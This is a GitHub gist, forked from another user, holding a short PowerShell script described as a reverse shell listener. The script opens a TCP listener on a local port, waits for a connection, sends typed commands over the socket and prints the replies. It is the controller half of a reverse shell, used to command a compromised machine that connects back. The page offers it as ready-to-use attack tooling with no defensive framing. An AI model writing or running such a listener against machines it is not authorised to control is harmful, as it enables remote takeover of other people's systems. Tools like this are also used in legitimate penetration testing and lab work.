Skip to content

Instantly share code, notes, and snippets.

@4d4c
Forked from staaldraad/mini-reverse-listener.ps1
Last active December 26, 2019 21:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 4d4c/7663bceb1e72b8976cfd7e890df78b0f to your computer and use it in GitHub Desktop.
Save 4d4c/7663bceb1e72b8976cfd7e890df78b0f to your computer and use it in GitHub Desktop.
A reverse shell listener in powershell
$socket = new-object System.Net.Sockets.TcpListener('127.0.0.1', 413);
if($socket -eq $null){
exit 1
}
$socket.start()
$client = $socket.AcceptTcpClient()
write-output "[*] Connection!"
$stream = $client.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 2048;
$encoding = new-object System.Text.AsciiEncoding;
do {
$cmd = read-host
$writer.WriteLine($cmd)
$writer.Flush();
if($cmd -eq "exit") {
break
}
$read = $null;
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 2048)
$out = $encoding.GetString($buffer, 0, $read)
Write-Output $out
}
} While ($client.Connected -eq $true)
$socket.Stop()
$client.close();
$stream.Dispose()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment